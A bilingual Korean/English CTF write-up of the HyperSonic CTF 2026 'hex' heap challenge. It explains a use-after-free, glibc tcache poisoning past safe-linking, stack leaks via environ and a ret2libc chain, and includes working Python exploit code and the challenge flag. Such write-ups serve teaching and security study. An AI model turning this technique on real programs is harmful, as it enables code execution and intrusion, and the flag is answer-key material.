HyperSonic CTF Writeup CTF/Wargame

HyperSonic CTF 2026 hex Writeup

HyperSonic CTF 2026 hex 문제 풀이HyperSonic CTF 2026 hex writeup

Contents

개요

hex는 heap note manager 형태의 pwn 문제입니다. 프로그램은 create, read, edit, delete 메뉴를 제공하고, 최대 16개의 note 포인터를 전역 배열에 저장합니다.

문제 조건은 다음과 같습니다.

  • 카테고리: pwnable
  • 보호 기법: PIE, Full RELRO, NX, stack canary
  • 제공된 libc: glibc 2.43
  • 목표: heap UAF를 이용해 코드 실행 흐름을 system("/bin/sh")로 바꿉니다.

핵심은 note가 heap chunk 안에 어떤 형태로 저장되는지입니다. delete 이후 포인터가 지워지지 않아 해제된 chunk를 다시 read하거나 edit할 수 있습니다.

문제 분석

풀이에서 사용할 구조는 다음과 같습니다.

  • notes[i]: 전역 배열에 저장되는 note 포인터입니다.
  • note->size: note chunk의 첫 8바이트에 저장되는 요청 크기입니다.
  • note->data: note + 8부터 시작하는 사용자 데이터 영역입니다.
  • chunk_user: glibc chunk에서 사용자 영역으로 반환된 주소입니다.
  • safe-linking: tcache fd를 next ^ (chunk_user >> 12) 형태로 저장하는 보호 기법입니다.

create_note의 동작은 다음과 같습니다.

c
note = malloc(size + 9);
read(0, note + 8, size);
*(uint64_t *)note = size;
notes[idx] = note;

요청한 size는 chunk의 첫 8바이트에 저장되고, 실제 데이터는 note + 8부터 들어갑니다. read_note와 edit_note도 같은 구조를 사용합니다.

c
// read_note
len = notes[idx]->size;
if (len > 0x300)
    len = 0x300;
write(1, notes[idx] + 8, len);

// edit_note
read(0, notes[idx] + 8, notes[idx]->size);

read_note는 출력 길이를 최대 0x300으로 제한하지만, edit_note에는 별도의 상한이 없습니다. 따라서 note->size 값을 크게 만들 수 있으면 note + 8부터 뒤쪽 chunk까지 덮을 수 있습니다.

취약점은 delete_note에서 발생합니다.

c
free(notes[idx]);

free 이후 notes[idx]를 NULL로 만들지 않습니다. 그래서 인덱스 범위만 맞으면 해제된 note를 계속 읽고 수정할 수 있고, 여기서 UAF가 생깁니다.

핵심 아이디어

해제된 chunk를 읽을 수 있으므로 먼저 allocator metadata에서 libc와 heap 주소를 얻습니다. 그다음 해제된 tcache chunk의 note->size가 safe-linking 값으로 바뀌는 점을 이용합니다.

작은 chunk가 tcache에 들어가면 사용자 영역 첫 8바이트에는 fd가 저장됩니다. 단일 entry의 경우 encoded NULL이 들어가므로 값은 대략 다음과 같습니다.

text
note->size = chunk_user >> 12

프로그램은 이 값을 여전히 note->size로 해석합니다. stale note를 edit하면 매우 큰 길이로 read가 호출되고, 쓰기 시작 위치가 note + 8이므로 다음 chunk까지 overflow할 수 있습니다.

자기 자신의 tcache fd는 note + 0에 있는데, edit은 note + 8부터 쓰므로 같은 chunk의 fd를 직접 바꾸기는 어렵습니다. 대신 앞쪽에 있는 해제된 source chunk에서 overflow를 일으켜 바로 뒤에 있는 victim tcache chunk의 fd를 고칩니다.

사용한 배치는 다음과 같습니다.

text
O  = overflow source chunk
V2 = victim tcache chunk
V1 = victim tcache chunk

해제 순서는 O, V1, V2입니다. 이때 victim 크기의 tcache list는 V2 -> V1이 됩니다. stale O를 수정하면서 V2의 header는 보존하고 fd만 다음처럼 바꿉니다.

text
V2->fd = target ^ (V2_user >> 12)

이후 같은 크기로 두 번 할당하면 첫 번째는 V2, 두 번째는 target을 반환합니다. 이렇게 원하는 위치에 fake note를 만들면, 그 note를 읽거나 생성하면서 메모리를 읽고 쓸 수 있습니다.

풀이 과정

Step 1. UAF로 libc 주소 누출

큰 note를 만들고 해제한 뒤 stale pointer로 읽습니다. 큰 chunk는 unsorted bin에 들어가며, 해제된 chunk의 metadata에는 libc 내부 포인터가 남습니다.

read_note는 note + 8부터 출력하므로 첫 8바이트에서 unsorted bin 포인터 하나를 읽습니다. 분석한 환경에서 이 포인터는 libc base로부터 0x212ac8 떨어져 있었습니다.

text
libc_base = leaked_unsorted_pointer - 0x212ac8

이 값으로 environ, system, "/bin/sh" 문자열, 필요한 ROP gadget 주소를 계산합니다.

Step 2. largebin metadata로 heap 주소 누출

libc base를 얻은 뒤에는 같은 stale chunk를 largebin으로 정렬시켜 heap 주소를 얻습니다. 큰 chunk를 해제한 상태에서 더 큰 chunk를 할당하면 기존 unsorted chunk가 bin 정렬 과정을 거치고, largebin의 nextsize 계열 포인터에 heap 주소가 남습니다.

stale read로 이 영역을 다시 읽으면 heap base가 나옵니다. 이 값은 이후 tcache poisoning에서 V2_user >> 12를 정확히 계산하는 데 필요합니다.

Step 3. source chunk overflow로 tcache poisoning 구성

앞에서 정리한 O, V2, V1 배치를 만듭니다. O는 작은 크기로 만들고, V2와 V1은 같은 크기로 만듭니다.

text
create(O)
create(V2)
create(V1)
delete(O)
delete(V1)
delete(V2)

O를 해제하면 O의 첫 8바이트 값이 safe-linked tcache 값으로 바뀝니다. 프로그램은 이 값을 note->size로 사용하므로 edit(O)는 O + 8부터 긴 데이터를 씁니다.

overflow payload는 V2의 chunk header를 망가뜨리지 않도록 맞춥니다.

text
padding
prev_size = 0
size      = victim_chunk_size | 1
fd        = target ^ (V2_user >> 12)

이후 victim 크기로 두 번 할당하면 두 번째 할당 결과가 target이 됩니다. 이 과정을 반복해 arbitrary read와 stack overwrite를 만듭니다.

Step 4. fake note로 arbitrary read 만들기

프로그램의 read_note는 notes[idx] + 8부터 읽습니다. 따라서 어떤 주소 addr을 읽고 싶다면, tcache poisoning으로 addr - 8에 note 포인터를 만들면 됩니다.

text
fake_note = addr - 8
read_note(fake_note) -> read from addr

libc의 environ 근처를 읽어 현재 stack 주소를 얻습니다.

text
environ = libc_base + 0x219de8

그다음 environ에서 얻은 stack 주소 주변을 읽어, read_note 호출 뒤 main으로 돌아가는 saved return address를 찾습니다. 이 문제에서 해당 반환 주소의 PIE offset은 0x17a9입니다.

text
saved_return_address = pie_base + 0x17a9
saved_rbp            = address_of_saved_return_address - 8

saved_rbp를 알면 create로 stack에 fake note를 할당해 saved_rbp + 8부터 ROP chain을 쓸 수 있습니다.

Step 5. saved RIP에 ret2libc chain 쓰기

tcache poisoning 대상 주소를 saved_rbp로 둡니다. create는 반환된 포인터의 첫 8바이트에 요청 크기를 쓰고, 입력 데이터는 그다음부터 씁니다.

stack frame에서는 다음과 같이 맞아떨어집니다.

text
saved_rbp      <- note->size
saved_rbp + 8  <- input_data[0:8]

따라서 입력 데이터의 첫 8바이트 값이 saved RIP가 됩니다. ROP chain은 ret2libc 형태로 구성했습니다.

text
ret
pop rdi ; ret
"/bin/sh"
system

ret gadget은 stack alignment를 맞추려고 앞에 넣었습니다.

Exploit / Solver

최종 exploit의 흐름은 다음과 같습니다.

text
1. unsorted bin UAF read로 libc base를 구한다.
2. largebin metadata UAF read로 heap 주소를 구한다.
3. source chunk overflow로 tcache fd를 poisoning한다.
4. fake note를 이용해 `environ`과 stack window를 읽는다.
5. saved return address를 찾아 saved RBP를 계산한다.
6. 같은 poisoning 동작으로 saved RIP에 ROP chain을 쓴다.

아래는 exploit의 핵심 루틴입니다. 메뉴 입출력 함수 create, read_exact, edit, delete는 앞에서 분석한 프로그램 동작을 그대로 호출한다고 가정합니다.

python
LIBC_LEAK_OFF = 0x212AC8
ENVIRON_OFF = 0x219DE8
SYSTEM_OFF = 0x5C560
BINSH_OFF = 0x1DB799
RET_OFF = 0x289FE
POP_RDI_OFF = 0x11BCFA
READ_NOTE_RET_OFF = 0x17A9


def chunk_size(note_size):
    req = note_size + 9
    if req + 8 + 15 < 0x20:
        return 0x20
    return (req + 8 + 15) & ~0xF


def leak_bases(io):
    io.create(0, 0x500, b"A")
    io.create(1, 0x20, b"B")
    io.delete(0)

    libc_leak = u64(io.read_exact(0, 0x300)[:8])
    libc_base = libc_leak - LIBC_LEAK_OFF

    io.create(2, 0x600, b"C")
    largebin = io.read_exact(0, 0x300)
    heap = u64(largebin[8:16])

    io.create(0, 0x500, b"D")
    top = heap + chunk_size(0x500) + chunk_size(0x20) + chunk_size(0x600)
    return libc_base, heap, top


class Exploit:
    def __init__(self, io, top):
        self.io = io
        self.top = top
        self.next_idx = 3
        self.poison_no = 0

    def next_source_size(self):
        sizes = [1, 0x20, 0x60, 0xA0, 0xC0, 0xE0, 0x100]
        size = sizes[self.poison_no]
        self.poison_no += 1
        return size

    def poison_alloc(self, target, note_size, data=b"Z"):
        o = self.next_idx
        v2 = self.next_idx + 1
        v1 = self.next_idx + 2
        fake = self.next_idx + 3
        self.next_idx += 4

        o_size = self.next_source_size()
        o_csize = chunk_size(o_size)
        victim_csize = chunk_size(note_size)
        v2_user = self.top + o_csize + 0x10
        self.top += o_csize + victim_csize * 2

        self.io.create(o, o_size, b"O")
        self.io.create(v2, note_size, b"V")
        self.io.create(v1, note_size, b"W")
        self.io.delete(o)
        self.io.delete(v1)
        self.io.delete(v2)

        encoded = target ^ (v2_user >> 12)
        payload = b"A" * (o_csize - 0x18)
        payload += p64(0)
        payload += p64(victim_csize | 1)
        payload += p64(encoded)
        self.io.edit(o, payload)

        self.io.create(v2, note_size, b"Q")
        self.io.create(fake, note_size, data)
        return fake

    def read_memory(self, addr, size):
        fake = self.poison_alloc(addr - 8, size)
        return self.io.read_exact(fake, size)

    def leak_environ(self, libc_base):
        data = self.read_memory(libc_base + ENVIRON_OFF - 0x10, 0x40)
        return u64(data[0x10:0x18])

    def find_saved_rbp(self, stack_addr):
        start = (stack_addr - 0x408 - 8) & ~0xF
        data = self.read_memory(start + 8, 0x300)

        for off in range(0, len(data) - 8, 8):
            value = u64(data[off:off + 8])
            if (value & 0xFFF) != (READ_NOTE_RET_OFF & 0xFFF):
                continue

            pie_base = value - READ_NOTE_RET_OFF
            if pie_base & 0xFFF:
                continue

            ret_slot = start + 8 + off
            return ret_slot - 8, pie_base

        raise RuntimeError("saved return address not found")

    def write_rop(self, libc_base, saved_rbp):
        chain = b"".join([
            p64(libc_base + RET_OFF),
            p64(libc_base + POP_RDI_OFF),
            p64(libc_base + BINSH_OFF),
            p64(libc_base + SYSTEM_OFF),
        ])
        self.poison_alloc(saved_rbp, 0x80, chain)

입출력에서는 scanf("%d")와 read가 섞여 있습니다. 숫자와 바이너리 payload를 한 번에 보내면 숫자가 아닌 첫 바이트가 stdio buffer에 남습니다. 그래서 숫자 입력은 줄 단위로 보내고 data> prompt를 받은 뒤 payload를 보내야 안정적으로 동작했습니다.

결과

로컬 검증에서는 ROP chain 실행 뒤 셸 명령 결과로 LOCAL_SHELL_OK가 출력됐습니다. 원격 실행 기록에서 확인한 flag는 다음과 같습니다.

text
hs{92b7694d7d47a73a79e554f823e88d8a70754d86d10b00cc7d5e4b9728607d26}

Overview

hex is a pwn challenge in the form of a heap note manager. The program provides create, read, edit, and delete menus, and stores up to 16 note pointers in a global array.

The challenge setup:

  • Category: pwnable
  • Mitigations: PIE, Full RELRO, NX, stack canary
  • Provided libc: glibc 2.43
  • Goal: use a heap UAF to redirect the execution flow to system("/bin/sh").

The key is how a note is stored inside a heap chunk. The pointer is not cleared after delete, so we can read or edit a freed chunk again.

Analyzing the challenge

The structures used in the solution:

  • notes[i]: the note pointer stored in the global array.
  • note->size: the requested size stored in the first 8 bytes of the note chunk.
  • note->data: the user data region starting at note + 8.
  • chunk_user: the address returned to the user region from a glibc chunk.
  • safe-linking: a mitigation that stores the tcache fd in the form next ^ (chunk_user >> 12).

create_note behaves as follows.

c
note = malloc(size + 9);
read(0, note + 8, size);
*(uint64_t *)note = size;
notes[idx] = note;

The requested size is stored in the first 8 bytes of the chunk, and the actual data goes in from note + 8. read_note and edit_note use the same structure.

c
// read_note
len = notes[idx]->size;
if (len > 0x300)
    len = 0x300;
write(1, notes[idx] + 8, len);

// edit_note
read(0, notes[idx] + 8, notes[idx]->size);

read_note limits the output length to at most 0x300, but edit_note has no separate upper bound. So if we can make the note->size value large, we can overwrite from note + 8 into the following chunk.

The vulnerability occurs in delete_note.

c
free(notes[idx]);

It does not set notes[idx] to NULL after free. So as long as the index is in range, we can keep reading and editing a freed note, which gives a UAF.

Key idea

Since we can read a freed chunk, we first obtain libc and heap addresses from allocator metadata. Then we exploit the fact that a freed tcache chunk's note->size turns into a safe-linking value.

When a small chunk goes into the tcache, the first 8 bytes of the user region store the fd. For a single entry, an encoded NULL is placed there, so the value is roughly as follows.

text
note->size = chunk_user >> 12

The program still interprets this value as note->size. If we edit a stale note, read is called with a very large length, and since the write start position is note + 8, we can overflow into the following chunk.

A chunk's own tcache fd is at note + 0, and because edit writes from note + 8, changing the same chunk's fd directly is hard. Instead, we trigger an overflow from a freed source chunk placed in front and fix the fd of the victim tcache chunk immediately behind it.

The layout I used:

text
O  = overflow source chunk
V2 = victim tcache chunk
V1 = victim tcache chunk

The free order is O, V1, V2. At this point the tcache list for the victim size is V2 -> V1. While editing the stale O, we preserve V2's header and only change its fd:

text
V2->fd = target ^ (V2_user >> 12)

Then allocating twice with the same size returns V2 first and target second. This creates a fake note at a location we choose, and reading or creating that note lets us read and write memory.

Solution walkthrough

Step 1. Leak the libc address via UAF

We create a large note, free it, and read it through the stale pointer. The large chunk goes into the unsorted bin, and the freed chunk's metadata is left with libc-internal pointers.

read_note prints from note + 8, so the first 8 bytes give one unsorted-bin pointer. In the analyzed environment this pointer was 0x212ac8 away from the libc base.

text
libc_base = leaked_unsorted_pointer - 0x212ac8

This value gives the addresses of environ, system, the "/bin/sh" string, and the ROP gadgets we need.

Step 2. Leak a heap address via largebin metadata

After obtaining the libc base, we sort the same stale chunk into a largebin to get a heap address. If we allocate an even larger chunk while the large chunk is freed, the existing unsorted chunk goes through the bin-sorting process, and the largebin's nextsize-family pointers are left with a heap address.

Reading this region again with a stale read gives the heap base, which we need later to compute V2_user >> 12 accurately during tcache poisoning.

Step 3. Set up tcache poisoning via source chunk overflow

We build the O, V2, V1 layout described above. We make O a small size, and V2 and V1 the same size.

text
create(O)
create(V2)
create(V1)
delete(O)
delete(V1)
delete(V2)

Freeing O turns O's first 8 bytes into a safe-linked tcache value. The program uses this value as note->size, so edit(O) writes long data from O + 8.

We tune the overflow payload so V2's chunk header stays intact.

text
padding
prev_size = 0
size      = victim_chunk_size | 1
fd        = target ^ (V2_user >> 12)

Then allocating twice with the victim size makes the second allocation return target. Repeating this gives arbitrary read and a stack overwrite.

Step 4. Build arbitrary read with a fake note

The program's read_note reads from notes[idx] + 8. So if we want to read some address addr, we create a note pointer at addr - 8 via tcache poisoning.

text
fake_note = addr - 8
read_note(fake_note) -> read from addr

We read near libc's environ to get the current stack address.

text
environ = libc_base + 0x219de8

Then we read around the stack address from environ and find the saved return address that returns to main after the read_note call. In this challenge the PIE offset of that return address is 0x17a9.

text
saved_return_address = pie_base + 0x17a9
saved_rbp            = address_of_saved_return_address - 8

Once we know saved_rbp, allocating a fake note on the stack via create lets us write the ROP chain from saved_rbp + 8.

Step 5. Write a ret2libc chain to the saved RIP

We set the tcache poisoning target address to saved_rbp. create writes the requested size to the first 8 bytes of the returned pointer, and the input data goes in from after that.

From the stack frame's point of view it lines up as follows.

text
saved_rbp      <- note->size
saved_rbp + 8  <- input_data[0:8]

So the first 8 bytes of the input data become the saved RIP. I built the ROP chain as a ret2libc.

text
ret
pop rdi ; ret
"/bin/sh"
system

The ret gadget goes in front to fix the stack alignment.

Exploit / Solver

The final exploit flow:

text
1. Obtain the libc base via an unsorted bin UAF read.
2. Obtain a heap address via a largebin metadata UAF read.
3. Poison the tcache fd via source chunk overflow.
4. Read `environ` and the stack window using a fake note.
5. Find the saved return address and compute the saved RBP.
6. Write the ROP chain to the saved RIP with the same poisoning routine.

Below is the core routine of the exploit. The menu I/O functions create, read_exact, edit, and delete are assumed to invoke the program behavior analyzed above as-is.

python
LIBC_LEAK_OFF = 0x212AC8
ENVIRON_OFF = 0x219DE8
SYSTEM_OFF = 0x5C560
BINSH_OFF = 0x1DB799
RET_OFF = 0x289FE
POP_RDI_OFF = 0x11BCFA
READ_NOTE_RET_OFF = 0x17A9


def chunk_size(note_size):
    req = note_size + 9
    if req + 8 + 15 < 0x20:
        return 0x20
    return (req + 8 + 15) & ~0xF


def leak_bases(io):
    io.create(0, 0x500, b"A")
    io.create(1, 0x20, b"B")
    io.delete(0)

    libc_leak = u64(io.read_exact(0, 0x300)[:8])
    libc_base = libc_leak - LIBC_LEAK_OFF

    io.create(2, 0x600, b"C")
    largebin = io.read_exact(0, 0x300)
    heap = u64(largebin[8:16])

    io.create(0, 0x500, b"D")
    top = heap + chunk_size(0x500) + chunk_size(0x20) + chunk_size(0x600)
    return libc_base, heap, top


class Exploit:
    def __init__(self, io, top):
        self.io = io
        self.top = top
        self.next_idx = 3
        self.poison_no = 0

    def next_source_size(self):
        sizes = [1, 0x20, 0x60, 0xA0, 0xC0, 0xE0, 0x100]
        size = sizes[self.poison_no]
        self.poison_no += 1
        return size

    def poison_alloc(self, target, note_size, data=b"Z"):
        o = self.next_idx
        v2 = self.next_idx + 1
        v1 = self.next_idx + 2
        fake = self.next_idx + 3
        self.next_idx += 4

        o_size = self.next_source_size()
        o_csize = chunk_size(o_size)
        victim_csize = chunk_size(note_size)
        v2_user = self.top + o_csize + 0x10
        self.top += o_csize + victim_csize * 2

        self.io.create(o, o_size, b"O")
        self.io.create(v2, note_size, b"V")
        self.io.create(v1, note_size, b"W")
        self.io.delete(o)
        self.io.delete(v1)
        self.io.delete(v2)

        encoded = target ^ (v2_user >> 12)
        payload = b"A" * (o_csize - 0x18)
        payload += p64(0)
        payload += p64(victim_csize | 1)
        payload += p64(encoded)
        self.io.edit(o, payload)

        self.io.create(v2, note_size, b"Q")
        self.io.create(fake, note_size, data)
        return fake

    def read_memory(self, addr, size):
        fake = self.poison_alloc(addr - 8, size)
        return self.io.read_exact(fake, size)

    def leak_environ(self, libc_base):
        data = self.read_memory(libc_base + ENVIRON_OFF - 0x10, 0x40)
        return u64(data[0x10:0x18])

    def find_saved_rbp(self, stack_addr):
        start = (stack_addr - 0x408 - 8) & ~0xF
        data = self.read_memory(start + 8, 0x300)

        for off in range(0, len(data) - 8, 8):
            value = u64(data[off:off + 8])
            if (value & 0xFFF) != (READ_NOTE_RET_OFF & 0xFFF):
                continue

            pie_base = value - READ_NOTE_RET_OFF
            if pie_base & 0xFFF:
                continue

            ret_slot = start + 8 + off
            return ret_slot - 8, pie_base

        raise RuntimeError("saved return address not found")

    def write_rop(self, libc_base, saved_rbp):
        chain = b"".join([
            p64(libc_base + RET_OFF),
            p64(libc_base + POP_RDI_OFF),
            p64(libc_base + BINSH_OFF),
            p64(libc_base + SYSTEM_OFF),
        ])
        self.poison_alloc(saved_rbp, 0x80, chain)

In I/O, scanf("%d") and read are mixed. If you send the number and the binary payload at once, the first non-numeric byte can be left in the stdio buffer. So sending the numeric input line by line, and sending the payload after receiving the data> prompt, made it work reliably.

Result

In local verification, after the ROP chain ran, the shell command produced LOCAL_SHELL_OK. The flag from the remote execution log:

text
hs{92b7694d7d47a73a79e554f823e88d8a70754d86d10b00cc7d5e4b9728607d26}
Esc

Search titles, content and code.